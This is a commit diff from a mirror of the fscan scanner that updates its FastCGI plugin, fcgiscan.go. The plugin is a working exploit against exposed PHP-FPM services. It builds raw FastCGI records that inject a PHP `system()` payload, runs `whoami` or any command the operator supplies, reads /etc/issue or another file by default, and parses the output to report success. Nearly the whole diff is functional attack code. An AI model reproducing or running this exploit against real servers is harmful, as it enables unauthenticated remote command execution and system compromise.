mirrors/fscan
1
0
Fork 0
mirror of https://github.com/shadow1ng/fscan.git synced 2025-07-14 05:12:36 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

Update fcgiscan.go

Browse Source
This commit is contained in:
影舞者 2023-11-13 10:40:04 +08:00 committed by GitHub
parent afe9a0228f
commit 22d6e16785
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 22 additions and 17 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

39
Plugins/fcgiscan.go
View File

@ -6,35 +6,34 @@ import (
"encoding/binary" "encoding/binary"
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"io" "io"
"strconv" "strconv"
"strings" "strings"
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
//links //links
//https://xz.aliyun.com/t/9544 //https://xz.aliyun.com/t/9544
//https://github.com/wofeiwo/webcgi-exploits //https://github.com/wofeiwo/webcgi-exploits
func FcgiScan(info common.HostInfo, flags common.Flags) { func FcgiScan(info *common.HostInfo) {
if flags.IsBrute { if common.IsBrute {
return return
} }
url := "/etc/issue" url := "/etc/issue"
if flags.Path != "" { if common.Path != "" {
url = flags.Path url = common.Path
} }
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
var reqParams string var reqParams string
var cutLine = "-----ASDGTasdkk361363s-----\n" var cutLine = "-----ASDGTasdkk361363s-----\n"
switch { switch {
case flags.Command == "read": case common.Command == "read":
reqParams = "" reqParams = ""
case flags.Command != "": case common.Command != "":
reqParams = "<?php system('" + flags.Command + "');die('" + cutLine + "');?>" reqParams = "<?php system('" + common.Command + "');die('" + cutLine + "');?>"
default: default:
reqParams = "<?php system('whoami');die('" + cutLine + "');?>" reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
} }
@ -55,7 +54,7 @@ func FcgiScan(info common.HostInfo, flags common.Flags) {
env["REQUEST_METHOD"] = "GET" env["REQUEST_METHOD"] = "GET"
} }
fcgi, err := New(addr, flags) fcgi, err := New(addr, common.Timeout)
defer func() { defer func() {
if fcgi.rwc != nil { if fcgi.rwc != nil {
fcgi.rwc.Close() fcgi.rwc.Close()
@ -94,12 +93,12 @@ func FcgiScan(info common.HostInfo, flags common.Flags) {
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions) //Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
var result string var result string
var output = string(stdout) var output = string(stdout)
if strings.Contains(output, cutLine) { // 命令成功回显 if strings.Contains(output, cutLine) { //命令成功回显
out := strings.SplitN(output, cutLine, 2)[0] output = strings.SplitN(output, cutLine, 2)[0]
if len(stderr) > 0 { if len(stderr) > 0 {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, out, string(stderr)) result = fmt.Sprintf("[+] FCGI: %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
} else { } else {
result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, out) result = fmt.Sprintf("[+] FCGI: %v:%v \n%v", info.Host, info.Ports, output)
} }
common.LogSuccess(result) common.LogSuccess(result)
} else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") { } else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") {
@ -183,8 +182,8 @@ type FCGIClient struct {
keepAlive bool keepAlive bool
} }
func New(addr string, flags common.Flags) (fcgi *FCGIClient, err error) { func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
conn, err := common.WrapperTcpWithTimeout("tcp", addr, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
fcgi = &FCGIClient{ fcgi = &FCGIClient{
rwc: conn, rwc: conn,
keepAlive: false, keepAlive: false,
@ -215,6 +214,13 @@ func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) e
return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:]) return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
} }
func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
b := make([]byte, 8)
binary.BigEndian.PutUint32(b, uint32(appStatus))
b[4] = protocolStatus
return c.writeRecord(FCGI_END_REQUEST, reqId, b)
}
func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error { func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
w := newWriter(c, recType, reqId) w := newWriter(c, recType, reqId)
b := make([]byte, 8) b := make([]byte, 8)
@ -341,6 +347,5 @@ OUTER:
break OUTER break OUTER
} }
} }
return return
} }